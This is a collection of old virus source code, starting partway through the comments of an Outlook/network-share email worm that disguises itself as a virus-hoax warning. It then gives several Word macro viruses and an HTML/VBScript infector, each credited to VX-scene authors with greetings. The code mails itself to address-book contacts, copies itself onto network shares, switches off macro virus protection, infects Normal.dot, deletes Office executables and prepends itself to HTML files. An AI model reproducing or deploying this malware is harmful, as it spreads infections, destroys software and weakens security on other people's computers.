in the TXT file, ' but they don't talk about the hoax because this could cause fear in the user from opening the ' file or maybe make the user remember about viruses and checking for double extensions. ' - It has a 1/5 probability of also sending other email to the same addresses of the email ' having the worm file. The body of this email will have a poem written in spanish. ' The reason of this is an unusual request from a friend, she wanted one of her poems to be ' included in a virus/worm. ' So, even if this means unnecessary bytes and even worse spreading capabilities, here it is. :) ' - There is no need of AV products or removers after running the worm since Windows' settings are ' not changed and all temporary files are deleted. ' ' Here is the JSE file without encoding: G=new ActiveXObject("Scripting.FileSystemObject"); A=G.GetTempName().concat(".WSC");
S=G.CreateTextFile(G.BuildPath(G.GetSpecialFolder(2),A),true); S.Write("\r\n\r\n \r\n NETWORK/OUTLOOK.FakeHoax\r\n \r\n \r\n <property name=\"AttachmentFile \"/>\r\n <property name=\"TextFile\"/>\r\n <property name=\"WormFile\"/>\r\n <method name=\"DelTempFiles\"/>\r\n <method name=\"NetworkSpreading\">\r\n <parameter name=\"FileName\"/>\r\n \r\n <method name=\"OutlookSpreading\ ">\r\n <parameter name=\"Body\"/>\r\n <parameter name=\"MaxAmount\"/>\r\n <parameter name=\"Subject\"/>\r\n \r\n <method name=\"ShowText\">\r\n <parameter name=\"Content\"/>\r\n \r\n \r\n <script language=\" VBScript\">\r\n 0 Then\r\n Set FSO = CreateObject(\"Scripting.FileSystemObject\")\r\n For Counter1 = 0 To Shares.Count 1\r\n If Shares.Item(Counter1) <> \"\" Then FSO.CopyFile WormFile, FSO.BuildPath(Shares.Item(Counter1), FileName)\r\n Next\r\n Set FSO = Nothing\r\n End If\r\n Set Shares = Nothing\r\n Set Network = Nothing\r\n End Sub\r\n Sub OutlookSpreading(MaxAmount, Subject, Body)\r\n On Error Resume Next\r\n Set FSO = CreateObject(\"Scripting.FileSystemObject\")\r\n FSO.CopyFile WormFile, AttachmentFile\r\n Set FSO = Nothing\r\n Outlook = \"\"\r\n Set Outlook = CreateObject(\"Outlook.Application\")\r\n If Outlook <> \"\" Then\r\n Set MAPI = Outlook.GetNameSpace(\"MAPI\")\r\n For Each List In MAPI.AddressLists\r\n If List.AddressEntries.Count > 0 Then\r\n Set Email1 = Outlook.CreateItem(0)\r\n If List.AddressEntries.Count > MaxAmount Then\r\n Dim Address()\r\n ReDim Address(MaxAmount 1)\r\n For Counter1 = 0 To MaxAmount - 1\r\n Address(Counter1) = Int(List.AddressEntries.Count * Rnd)\r\n Next\r\n For Counter1 = 0 To MaxAmount - 1\r\n For Counter2 = Counter1 + 1 To MaxAmount 1\r\n If Address(Counter1) = Address(Counter2) And Address(Counter1) <> -1 Then Address(Counter2) = -1\r\n Next\r\n Next\r\n For Counter1 = 0 To MaxAmount - 1\r\n If Address(Counter1) = -1 Then Address(Counter1) = Int(List.AddressEntries.Count * Rnd)\r\n Next\r\n For Counter1 = 0 To MaxAmount - 1\r\n For Counter2 = Counter1 + 1 To MaxAmount - 1\r\n If Address(Counter1) = Address(Counter2) And Address(Counter1) <> -1 Then Address(Counter2) = -1\r\n Next\r\n Next\r\n For Counter1 = 0 To MaxAmount 1\r\n If Address(Counter1) <> -1 Then\r\n Set Entry = List.AddressEntries(Address(Counter1))\r\n If Counter1 = 0 Then Addresses = Entry.Address Else Addresses = Addresses & \"; \" & Entry.Address\r\n Set Entry = Nothing\r\n End If\r\n Next\r\n Else\r\n For Counter1 = 1 To List.AddressEntries.Count\r\n Set Entry = List.AddressEntries(Counter1)\r\n If Counter1 = 1 Then Addresses = Entry.Address Else Addresses = Addresses & \"; \" & Entry.Address\r\n Set Entry = Nothing\r\n Next\r\n End If\r\n Email1.BCC = Addresses\r\n Email1.Subject = Subject\r\n Email1.Body = Body\r\n Email1.Attachments.Add AttachmentFile\r\n Email1.DeleteAfterSubmit = True\r\n Email1.Send\r\n Set Email1 = Nothing\r\n Randomize\r\n If Int(5 * Rnd) = 0 Then\r\n Set Email2 = Outlook.CreateItem(0)\r\n Email2.BCC = Addresses\r\n Email2.Subject = \"Alma\"\r\n Email2.Body = \"No alucines que te amo,\" & Chr(13) & Chr(10) & \"cuando en realidad es solo\" & Chr(13) & Chr(10) & \"mi coraz\" & Chr(243) & \"n qui\" & Chr(233) & \"n lo hace.\" & Chr(13) & Chr(10) & \"Porque como ya sabr\ " & Chr(225) & \"s,\" & Chr(13) & Chr(10) & \"mi coraz\" & Chr(243) & \"n no manda en mi vida ,\" & Chr(13) & Chr(10) & \"si as\" & Chr(237) & \" lo hiciera,\" & Chr(13) & Chr(10) & \"mi alma estar\" & Chr(237) & \"a perdida.\"\r\n Email2.DeleteAfterSubmit = True\r\n Email2.Send\r\n Set Email2 = Nothing\r\n End If\r\n End If\r\n Next\r\n Set MAPI = Nothing\r\n Set Outlook = Nothing\r\n End If\r\n End Sub\r\n Sub ShowText(Content)\r\n On Error Resume Next\r\n Set FSO = CreateObject(\"Scripting.FileSystemObject\")\r\n Set File = FSO.CreateTextFile(TextFile, True)\r\n File.Write(Content)\r\n
File.Close\r\n Set File = Nothing\r\n Set FSO = Nothing\r\n Set WSHShell = CreateObject(\"WScript.Shell\")\r\n WSHShell.Run(TextFile)\r\n Set WSHShell = Nothing\r\n End Sub\r\n ]]>\r\n \r\n\r\n") S.Close(); F=GetObject("script:".concat(G.BuildPath(G.GetSpecialFolder(2),A))); F.AttachmentFile=G.BuildPath(G.GetSpecialFolder(2),"WOBBLER.TXT.JSE"); F.TextFile=G.BuildPath(G.GetSpecialFolder(2),"WOBBLER.TXT"); F.WormFile=WScript.ScriptFullName; F.ShowText("Thought you might be interested in this message. If you receive an\r\nemail with a file called \"California\" do not open the file. The file\r\ncontains the \"WOBBLER\" virus.\r\n\r\nThis information was announced yesterday morning by IBM. The statement\r\nsays that ... \"This is a very dangerous virus, much worse than\r\n'Melissa' and there is NO remedy for it at this time. Some very sick\r\nindividual has succeeded in using the reformat function from Norton\r\nUtilities causing it to completely erase all documents on the hard\r\ndrive. It has been designed to work with Netscape Navigator and\r\nMicrosoft Internet Explorer. It destroys Macintosh and IBM compatible\r\ncomputers. This is a new, very malicious virus and not many people\r\nknow about it at this time.\"\r\n\"Please pass this warning file to everyone in your address book and\r\nshare it with all your online friends ASAP so that the destruction it\r\ncan cause may be minimized.\"\r\n"); F.OutlookSpreading(100,"Fw: important","> Thought you might be interested in this message, read the attachment for more information."); F.NetworkSpreading("WOBBLER.TXT.JSE"); F.DelTempFiles(); G.DeleteFile(G.BuildPath(G.GetSpecialFolder(2),A),true); ' Here is the VBE file without encoding: Set G=CreateObject("Scripting.FileSystemObject") A=G.GetTempName&".WSC" Set S=G.CreateTextFile(G.BuildPath(G.GetSpecialFolder(2),A),True) O=Chr(13)&Chr(10) S.Write ""&O&""&O&" "&O&" NETWORK/OUTLOOK.FakeHoax"&O&" "&O&" "&O&" <property name=""AttachmentFile""/>"&O&" <property name=""TextFile""/>"&O&" <property name=""WormFile""/>"&O&" <method name=""DelTempFiles""/>"&O&" <method name=""NetworkSpreading"">"&O&" <parameter name=""FileName""/>"&O&" "&O& " <method name=""OutlookSpreading"">"&O&" <parameter name=""Body""/>"&O&" <parameter name=""MaxAmount""/>"&O&" <parameter name=""Subject""/>"&O&" "&O& " <method name=""ShowText"">"&O&" <parameter name=""Content""/>"&O&" "&O& " "&O&" <script language=""VBScript"">"&O&" 0 Then"&O&" Set FSO = CreateObject(""Scripting.FileSystemObject"")" &O&" For Counter1 = 0 To Shares.Count - 1"&O&" If Shares.Item(Counter1) <> """" Then FSO.CopyFile WormFile, FSO.BuildPath(Shares.Item(Counter1), FileName)"&O&" Next"&O&" Set FSO = Nothing"&O&" End If"&O&" Set Shares = Nothing"&O&" Set Network = Nothing"&O&" End Sub"&O&" Sub OutlookSpreading(MaxAmount, Subject, Body)" &O&" On Error Resume Next"&O&" Set FSO = CreateObject(""Scripting.FileSystemObject"")"&O&" FSO.CopyFile WormFile, AttachmentFile" &O&" Set FSO = Nothing"&O&" Outlook = """""&O&" Set Outlook = CreateObject(""Outlook.Application"")"&O&" If Outlook <> """" Then"&O&" Set MAPI = Outlook.GetNameSpace(""MAPI"")"&O&" For Each List In MAPI.AddressLists"&O& " If List.AddressEntries.Count > 0 Then"&O&" Set Email1 = Outlook.CreateItem(0)"&O&" If List.AddressEntries.Count > MaxAmount Then"&O& " Dim Address()"&O&" ReDim Address(MaxAmount - 1)"&O& " For Counter1 = 0 To MaxAmount - 1"&O&" Address(Counter1) = Int(List.AddressEntries.Count * Rnd)"&O&" Next"&O&" For Counter1 = 0 To MaxAmount - 1"&O&" For Counter2 = Counter1 + 1 To MaxAmount - 1"&O& " If Address(Counter1) = Address(Counter2) And Address(Counter1) <> -1 Then
Address(Counter2) = -1"&O&" Next"&O&" Next"&O&" For Counter1 = 0 To MaxAmount - 1"&O&" If Address(Counter1) = -1 Then Address(Counter1) = Int(List.AddressEntries.Count * Rnd)"&O&" Next"&O& " For Counter1 = 0 To MaxAmount - 1"&O&" For Counter2 = Counter1 + 1 To MaxAmount - 1"&O&" If Address(Counter1) = Address(Counter2) And Address(Counter1) <> -1 Then Address(Counter2) = -1"&O&" Next"&O& " Next"&O&" For Counter1 = 0 To MaxAmount - 1"&O&" If Address(Counter1) <> -1 Then"&O&" Set Entry = List.AddressEntries(Address(Counter1))"&O&" If Counter1 = 0 Then Addresses = Entry.Address Else Addresses = Addresses & ""; "" & Entry.Address"&O&" Set Entry = Nothing"&O&" End If"&O&" Next"&O&" Else"&O &" For Counter1 = 1 To List.AddressEntries.Count"&O&" Set Entry = List.AddressEntries(Counter1)"&O&" If Counter1 = 1 Then Addresses = Entry.Address Else Addresses = Addresses & ""; "" & Entry.Address"&O&" Set Entry = Nothing"&O&" Next"&O&" End If"&O&" Email1.BCC = Addresses"&O&" Email1.Subject = Subject"&O&" Email1.Body = Body"&O& " Email1.Attachments.Add AttachmentFile"&O&" Email1.DeleteAfterSubmit = True"&O&" Email1.Send"&O&" Set Email1 = Nothing"&O&" Randomize"&O&" If Int(5 * Rnd) = 0 Then"&O&" Set Email2 = Outlook.CreateItem(0)"&O&" Email2.BCC = Addresses"&O&" Email2.Subject = ""Alma"""&O&" Email2.Body = ""No alucines que te amo,"" & Chr(13) & Chr(10) & ""cuando en realidad es solo"" & Chr(13) & Chr(10) & ""mi coraz"" & Chr(243) & ""n qui"" & Chr(233) & ""n lo hace."" & Chr(13) & Chr(10) & ""Porque como ya sabr"" & Chr(225) & ""s,"" & Chr(13) & Chr(10) & ""mi coraz"" & Chr(243) & ""n no manda en mi vida,"" & Chr(13) & Chr(10) & ""si as"" & Chr(237) & "" lo hiciera,"" & Chr(13) & Chr(10) & ""mi alma estar"" & Chr(237) & ""a perdida."""&O&" Email2.DeleteAfterSubmit = True"&O&" Email2.Send"&O&" Set Email2 = Nothing"&O&" End If"&O&" End If"&O&" Next"&O&" Set MAPI = Nothing"&O&" Set Outlook = Nothing"&O&" End If"&O&" End Sub"&O&" Sub ShowText(Content)"&O&" On Error Resume Next"&O&" Set FSO = CreateObject(""Scripting.FileSystemObject"")"&O& " Set File = FSO.CreateTextFile(TextFile, True)"&O&" File.Write(Content)"&O&" File.Close"&O&" Set File = Nothing"&O&" Set FSO = Nothing"&O&" Set WSHShell = CreateObject(""WScript.Shell"")"&O&" WSHShell.Run(TextFile)"&O&" Set WSHShell = Nothing"&O&" End Sub"&O&" ]]>"&O&" "&O&""&O S.Close Set F=GetObject("script:"&G.BuildPath(G.GetSpecialFolder(2),A)) F.AttachmentFile=G.BuildPath(G.GetSpecialFolder(2),"WOBBLER.TXT.VBE") F.TextFile=G.BuildPath(G.GetSpecialFolder(2),"WOBBLER.TXT") F.WormFile=WScript.ScriptFullName F.ShowText "Thought you might be interested in this message. If you receive an"&O&"email with a file called ""California"" do not open the file. The file"&O&"contains the ""WOBBLER"" virus."&O&O&"This information was announced yesterday morning by IBM. The statement"&O&"says that ... ""This is a very dangerous virus, much worse than"&O&"'Melissa' and there is NO remedy for it at this time. Some very sick"&O&"individual has succeeded in using the reformat function from Norton"&O&"Utilities causing it to completely erase all documents on the hard"&O&"drive. It has been designed to work with Netscape Navigator and"&O& "Microsoft Internet Explorer. It destroys Macintosh and IBM compatible"&O&"computers. This is a new, very malicious virus and not many people"&O&"know about it at this time."""&O& """Please pass this warning file to everyone in your address book and"&O&"share it with all your online friends ASAP so that the destruction it"&O&"can cause may be minimized."""&O F.OutlookSpreading 100,"Fw: important","> Thought you might be interested in this message, read the attachment for more information." F.NetworkSpreading "WOBBLER.TXT.VBE" F.DelTempFiles G.DeleteFile G.BuildPath(G.GetSpecialFolder(2),A),True ' Here is the WSC file (the COM object), I used spaces and "normal" variable names to make it ' easier to read: NETWORK/OUTLOOK.FakeHoax
<property name="AttachmentFile"/> <property name="TextFile"/> <property name="WormFile"/> <method name="DelTempFiles"/> <method name="NetworkSpreading"> <parameter name="FileName"/> <method name="OutlookSpreading"> <parameter name="Body"/> <parameter name="MaxAmount"/> <parameter name="Subject"/> <method name="ShowText"> <parameter name="Content"/> <script language="VBScript"> 0 Then Set FSO = CreateObject("Scripting.FileSystemObject") For Counter1 = 0 To Shares.Count - 1 If Shares.Item(Counter1) <> "" Then FSO.CopyFile WormFile, FSO.BuildPath( Shares.Item(Counter1), FileName) Next Set FSO = Nothing End If Set Shares = Nothing Set Network = Nothing End Sub Sub OutlookSpreading(MaxAmount, Subject, Body) On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") FSO.CopyFile WormFile, AttachmentFile Set FSO = Nothing Outlook = "" Set Outlook = CreateObject("Outlook.Application") If Outlook <> "" Then Set MAPI = Outlook.GetNameSpace("MAPI") For Each List In MAPI.AddressLists If List.AddressEntries.Count > 0 Then Set Email1 = Outlook.CreateItem(0) If List.AddressEntries.Count > MaxAmount Then Dim Address() ReDim Address(MaxAmount - 1) For Counter1 = 0 To MaxAmount - 1 Address(Counter1) = Int(List.AddressEntries.Count * Rnd) Next For Counter1 = 0 To MaxAmount - 1 For Counter2 = Counter1 + 1 To MaxAmount - 1 If Address(Counter1) = Address(Counter2) And Address(Counter1) <> -1 Then
Address(Counter2) = -1 Next Next For Counter1 = 0 To MaxAmount - 1 If Address(Counter1) = -1 Then Address(Counter1) = Int( List.AddressEntries.Count * Rnd) Next For Counter1 = 0 To MaxAmount - 1 For Counter2 = Counter1 + 1 To MaxAmount - 1 If Address(Counter1) = Address(Counter2) And Address(Counter1) <> -1 Then Address(Counter2) = -1 Next Next For Counter1 = 0 To MaxAmount - 1 If Address(Counter1) <> -1 Then Set Entry = List.AddressEntries(Address(Counter1)) If Counter1 = 0 Then Addresses = Entry.Address Else Addresses = Addresses & "; " & Entry.Address Set Entry = Nothing End If Next Else For Counter1 = 1 To List.AddressEntries.Count Set Entry = List.AddressEntries(Counter1) If Counter1 = 1 Then Addresses = Entry.Address Else Addresses = Addresses & "; " & Entry.Address Set Entry = Nothing Next End If Email1.BCC = Addresses Email1.Subject = Subject Email1.Body = Body Email1.Attachments.Add AttachmentFile Email1.DeleteAfterSubmit = True Email1.Send Set Email1 = Nothing Randomize If Int(5 * Rnd) = 0 Then Set Email2 = Outlook.CreateItem(0) Email2.BCC = Addresses Email2.Subject = "Alma" Email2.Body = "No alucines que te amo," & Chr(13) & Chr(10) & "cuando en realidad es solo" & Chr(13) & Chr(10) & "mi coraz" & Chr(243) & "n qui" & Chr(233) & "n lo hace." & Chr(13) & Chr(10) & "Porque como ya sabr" & Chr(225) & "s," & Chr(13) & Chr(10) & "mi coraz" & Chr(243) & "n no manda en mi vida," & Chr(13) & Chr(10) & "si as" & Chr(237) & " lo hiciera," & Chr(13) & Chr(10) & "mi alma estar" & Chr(237) & "a perdida." Email2.DeleteAfterSubmit = True Email2.Send Set Email2 = Nothing End If End If Next Set MAPI = Nothing Set Outlook = Nothing End If End Sub Sub ShowText(Content) On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") Set File = FSO.CreateTextFile(TextFile, True) File.Write(Content) File.Close Set File = Nothing
Set FSO = Nothing Set WSHShell = CreateObject("WScript.Shell") WSHShell.Run(TextFile) Set WSHShell = Nothing End Sub ]]>
VERSION 1.0 CLASS BEGIN MultiUse = -1 'True END Attribute VB_Name = "ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Private Function IT() On Error Resume Next Application.EnableCancelKey = wdCancelDisabled Set A = VBE.SelectedVBComponent.CodeModule B = A.Lines(A.ProcStartLine("IT", vbext_pk_Proc), A.ProcCountLines("IT", vbext_pk_Proc)) For c = 1 To VBE.VBProjects.Count For D = 1 To VBE.VBProjects(c).VBComponents.Count Set E = VBE.VBProjects(c).VBComponents(D).CodeModule If E.ProcOfLine(E.ProcStartLine("IT", vbext_pk_Proc), 1) <> "IT" And E.CountOfLines > 2 Then E.AddFromString B For F = 1 To E.CountOfLines G = E.ProcOfLine(F, 1) If H <> G And G <> "IT" And Right(E.Lines(E.ProcStartLine(G, vbext_pk_Proc), 1), 4) <> ": IT" Then E.ReplaceLine E.ProcStartLine(G, vbext_pk_Proc), E.Lines(E.ProcStartLine(G, vbext_pk_Proc), 1 ) & ": IT" H = G End If Next Next Next End Function Private Sub Document_Open(): IT 'My_Creator = Lys Kovick 'My_Name = Neclovek 'My_Comments = Do Not Distribute! End Sub
VERSION 1.0 CLASS BEGIN MultiUse = -1 'True END Attribute VB_Name = "ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Private Function IT() On Error Resume Next Application.EnableCancelKey = wdCancelDisabled Set A = VBE.SelectedVBComponent.CodeModule B = A.Lines(A.ProcStartLine("IT", vbext_pk_Proc), A.ProcCountLines("IT", vbext_pk_Proc)) For c = 1 To VBE.VBProjects.Count For D = 1 To VBE.VBProjects(c).VBComponents.Count Set E = VBE.VBProjects(c).VBComponents(D).CodeModule F = "" F = E.Lines(E.ProcStartLine("IT", vbext_pk_Proc), E.ProcCountLines("IT", vbext_pk_Proc)) If E.CountOfLines > 2 And F <> B Then E.AddFromString B For G = 1 To E.CountOfLines H = E.ProcOfLine(G, 1) If I <> H And H <> "IT" And Right(E.Lines(E.ProcStartLine(H, vbext_pk_Proc), 1), 4) <> ": IT" Then E.ReplaceLine E.ProcStartLine(H, vbext_pk_Proc), E.Lines(E.ProcStartLine(H, vbext_pk_Proc), 1 ) & ": IT" I = H End If Next Next Next End Function Private Sub Document_Open(): IT 'My_Creator = Lys Kovick 'My_Name = Unperson 'My_Comments = Do Not Distribute! End Sub
<SCRIPT LANGUAGE="VBScript"> $$<|/SCRIPT>$$" On Error Resume Next TMP = ReplaceWithIn(Chr(36),vbCrLf,MSBound) TMP = ReplaceWithIn(Chr(35),Chr(34),TMP) F = InStr(1,TMP,Chr(124)) MSBound = Left(TMP,F-1) & MSBound & Mid(TMP,F+1) F = InStr(2500,MSBound,Chr(124)) MSBound = Left(MSBound,F-1) & Mid(MSBound,F+1) Set FSO = CreateObject("Scripting.FileSystemObject") If Err.Number = 0 Then Set DC = FSO.Drives For Each D In DC If D.DriveType = 2 Then SweepDrive D.DriveLetter & ":\" End If Next End If Sub SweepDrive(pPath) Dim F, S, O On Error Resume Next Set F = FSO.GetFolder(pPath) InfectFiles F Set S = F.SubFolders For Each O In S SweepDrive(pPath & O.Name & "\") Next End Sub Sub InfectFiles(pFolder) Dim F,Member,Ext,M,C On Error Resume Next Set F = pFolder.Files For Each Member In F M = UCase(Member.Name) If M = "WINWORD.EXE" Or M = "ACCESS.EXE" Or M = "EXCEL.EXE" Or M = "WORD.EXE" Then Set M = FSO.GetFile(Member.Path) M.Attributes = (M.Attributes And 1) - 1
M.Delete End If Ext = UCase(FSO.GetExtensionName(Member.Name)) If Ext = "HTML" Or Ext = "HTM" Then Set M = FSO.OpenTextFile(Member.Path,1) C = M.ReadAll If InStr(1,C,MSBound) = 0 Then Set M = FSO.CreateTextFile(Member.Path, True) M.WriteLine MSBound & C M.Close End If End if Next End Sub Private Function ReplaceWithIn(CurChar,NewChar,SourceString) Dim T,TMP T = 1 TMP = SourceString Do While T > 0 T = InStr(T, TMP, CurChar) If T > 0 Then TMP = Left(TMP,T-1) & NewChar & Mid(TMP,T+1) Loop ReplaceWithIn = TMP End Function 'MSBound by Suppa. --> <TITLE>MSBound
MSBound by Suppa.
This is the parent HTML file containing MSBound written by Suppa. Feel free do to what you want with it, but don't blame me if it comes back to you. Special thanks go out to Gigabyte for getting me interested in these things. |
VERSION 1.0 CLASS BEGIN MultiUse = -1 'True END Attribute VB_Name = "ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Private Declare Function SetSysColors Lib "user32" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long Private Sub Document_Open() ' LSD ' By The WalruS 09/00 v1.00 On Error Resume Next Randomize If Left(ActiveDocument.Name, 8) = "Document" Then Exit Sub Select Case Application.Version Case "9.0" System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& CommandBars("Macro").Controls("Security...").Enabled = False Case "8.0" Options.VirusProtection = False Options.SaveNormalPrompt = False Options.ConfirmConversions = False End Select With Application .ScreenUpdating = False .DisplayStatusBar = False .DisplayAlerts = False End With KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:=" " Set nor = NormalTemplate.VBProject.vbcomponents(1).CodeModule Set doc = ActiveDocument.VBProject.vbcomponents(1).CodeModule ChangeHook = Int(Rnd * 2) Select Case ChangeHook Case 0 Hook = "Private Sub Document_Open()" Case 1 Hook = "Private Sub Document_Close()" End Select Open "C:\Windows\" & Day(Now) & ".sys" For Output As #1 Print #1, "Private Declare Function SetSysColors Lib ""user32"" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long" Print #1, Hook Print #1, VBProject.vbcomponents(1).CodeModule.Lines(3, 110) Close #1
If nor.Lines(3, 1) <> "' LSD" Then nor.DeleteLines 1, nor.CountOfLines nor.AddFromFile ("C:\Windows\" & Day(Now) & ".sys") NormalTemplate.Save ElseIf doc.Lines(3, 1) <> "' LSD" Then doc.DeleteLines 1, doc.CountOfLines doc.AddFromFile ("C:\Windows\" & Day(Now) & ".sys") End If With Dialogs(wdDialogFileSummaryInfo) .Author = "WalruS" .Title = "CandyFlippin" .Execute End With TimeCheck = Second(Now) One = Left(TimeCheck, 1) Two = Right(TimeCheck, 1) If One = Two Then Call CandyFlip NormalTemplate.Saved = True If ActiveDocument.Saved <> True Then ActiveDocument.Save End Sub Private Sub CandyFlip() On Error Resume Next a = SetSysColors(1, 1, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 2, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 3, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 4, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 5, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 6, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 7, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 8, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 9, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 10, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 11, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 12, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 13, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 14, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 15, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 16, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 17, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 18, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 19, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 20, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 21, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 22, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 23, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 24, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 25, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 26, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) a = SetSysColors(1, 27, RGB(Rnd * 255, Rnd * 255, Rnd * 255)) End Sub
'Aida Private Sub Document_Open(): With Options: Const nula = 0 .VirusProtection = nula End With: Dim a, b, c, d a = Strings.RTrim(ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, _ ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines)) With NormalTemplate.VBProject.VBComponents(1).CodeModule c = .Lines(1, 1) If c <> "'Aida" Then .DeleteLines 1, NormalTemplate.VBProject.VBComponents(1) _ .CodeModule.CountOfLines .InsertLines 1, a End If End With With ActiveDocument.VBProject.VBComponents(1).CodeModule d = .Lines(1, 1) If d <> "'Aida" Then .DeleteLines 1, ActiveDocument.VBProject.VBComponents(1) _ .CodeModule.CountOfLines .InsertLines 1, a End If: End With If Day(Now()) = 14 And Month(Now()) = 9 Then With Selection .Font.Bold = True: .Font.Color = wdColorViolet .Font.Size = 26: .Font.Emboss = True .Font.Animation = wdAnimationSparkleText .Font.Shadow = True: .ParagraphFormat.Alignment = wdAlignParagraphCenter Selection.Text = "Aida: Where ever You are, You are only one that I loved truely!" End With End If 'WM97/2K.Aida by e[ax] 'Pozdravljam sve pri BiHNet.Org-u! 'Greetz to all ppl on #virus and VX-scene! '"Kad sve izgleda da umire, ono se ustvari radja" - e[ax] End Sub
'e[ax] Private Sub Document_open() Dim KVICKJS, CHSJEUR, LCXJSIE, OCKAJRF, SIFDMXU Set CHSJEUR = ThisDocument.VBProject.VBComponents(1).CodeModule Set OCKAJRF = NormalTemplate.VBProject.VBComponents(1).CodeModule Set LCXJSIE = ActiveDocument.VBProject.VBComponents(1).CodeModule KVICKJS = Strings.Trim(CHSJEUR.lines(1, CHSJEUR.countoflines)) SIFDMXU = Strings.LCase("'e[ax]") If SIFDMXU <> OCKAJRF.lines(1, 1) Then With OCKAJRF .deletelines 1, OCKAJRF.countoflines .insertlines 1, KVICKJS End With End If If SIFDMXU <> LCXJSIE.lines(1, 1) Then With LCXJSIE .deletelines 1, LCXJSIE.countoflines .insertlines 1, KVICKJS End With End If 'WM97/2K.String by e[ax] 'SIM v1.0 [String Infection Method] by e[ax] 'Greetz: k04x, rudeboy, BIGFOOOT, E-man, SnakeLord, t[r]ax 'H4dija, te ostale pri BIHnet.ORG-u 'SP.greetz to: Jackie 2Fl0wer, KnowDeth, ASMhead5, Mist, mort'nala, Giga, LifeWire, Fulvian, Staggle, SlageHamm, Perikles, Evul, and to all ppl on #virus '10x once again for inspiration... 'VicES: Where ar u man!? End Sub
Private Sub document_open(): Const nula = 0 Dim a, b, c, d: Set b = ThisDocument: Options.VirusProtection = nula If b = ActiveDocument Then Set c = NormalTemplate Else Set c = ActiveDocument d = b.VBProject.vbcomponents(1).codemodule.lines(1, _ b.VBProject.vbcomponents(1).codemodule.countoflines): a = Strings.LCase(d) With c.VBProject.vbcomponents(1).codemodule If .lines(14, 1) <> "'string2" Then With c.VBProject.vbcomponents(1).codemodule .deletelines 1, c.VBProject.vbcomponents(1).codemodule.countoflines .insertlines 1, a End With End If End With End Sub 'string2
VERSION 1.0 CLASS BEGIN MultiUse = -1 'True END Attribute VB_Name = "Blade" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = False Attribute VB_Exposed = False Private Sub Document_Close() On Error Resume Next 'Class.Blade 'code by Necronomikon 'greetz to:Gigabyte,jackie,SnakeByte,Lys Kovick,SerialKiller,Perikles,-KD-,SnakeMan,SlageHammer,dageshi,Ratter,#virus,#shadowvx,[6oCKeR ],Fii7e,LISP Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False Options.ConfirmConversions = False Options.VirusProtection = False CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Options.SaveNormalPrompt = False Options.BlueScreen = True: Application.WindowState = wdWindowStateMaximize CommandBars("Tools").Controls("Macro").Enabled = (99 - 99): CommandBars("File").Controls( "Print Preview").Enabled = (99 - 99): CommandBars("Edit").Controls("Select All").Enabled = ( 99 - 99) CommandBars("Edit").Controls("Undo VBA-Selection.TypeText").Enabled = (99 - 99): CommandBars("Tools").Controls("Word Count...").Enabled = (99 - 99): CommandBars("Tools").Controls("Options...").Enabled = (99 - 99) For Each Target In Application.VBE.VBProjects If Target.VBComponents(1).CodeModule.Lines(1, 1) = "" Then Target.VBComponents(1). CodeModule.addfromstring, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 26) Next For i = 1 To Documents.Count If Documents(i).Saved = False Then Documents(i).SaveAs Documents(i).FullName Next System.PrivateProfileString("", "HKEY_CURRENT_USER\ControlPanel\Desktop", "MenuShowDelay") = "10000" End Sub
